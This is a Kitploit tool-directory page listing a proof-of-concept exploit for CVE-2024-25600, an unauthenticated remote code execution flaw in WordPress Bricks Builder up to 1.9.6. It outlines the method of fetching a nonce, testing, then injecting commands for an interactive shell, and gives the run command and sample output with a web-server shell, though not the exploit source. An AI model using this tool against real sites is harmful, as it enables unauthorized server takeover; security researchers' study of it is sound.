Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC — Unauthenticated remote code execution vulnerability in WordPress Bricks Builder <= 1.9.6. The template render endpoint accepts PHP code without authentication, allowing arbitrary command execution as the web server user. | Kitploit
Tools/GitHubGitHub/estebanzarate/cve-2024-25600-wordpress-bricks-builder-rce-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubestebanzarate/cve-2024-25600-wordpress-bricks-builder-rce-poc

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

Unauthenticated remote code execution vulnerability in WordPress Bricks Builder <= 1.9.6. The template render endpoint accepts PHP code without authentication, allowing arbitrary command execution as the web server user.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
116 months agoNot yet reviewed
Share

CVE-2024-25600 — WordPress Bricks Builder RCE (PoC)

Unauthenticated remote code execution vulnerability in WordPress Bricks Builder <= 1.9.6. The template render endpoint accepts PHP code without authentication, allowing arbitrary command execution as the web server user.


How it works

  1. Fetches the Bricks nonce from the target's page source (required to interact with the endpoint).
  2. Sends a test payload to confirm the target is vulnerable.
  3. Opens an interactive shell by injecting commands through the render endpoint.

Requirements

  • Python 3
  • Install dependencies:
root@kitploit:~
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Usage

root@kitploit:~
python3 exploit.py -u http://TARGET

Example:

root@kitploit:~
$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

References

  • CVE-2024-25600
  • Bricks Builder Security Advisory
  • Wordfence writeup

Credits

  • Discovery: Snicco / Calvin Alkan
  • Original exploit: K3ysTr0K3R
  • Cleanup & simplification: Esteban Zárate
Download Tool